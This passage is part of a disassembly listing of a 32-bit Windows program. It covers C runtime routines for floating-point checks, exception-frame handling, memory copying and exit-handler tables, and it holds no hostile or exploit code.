loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = 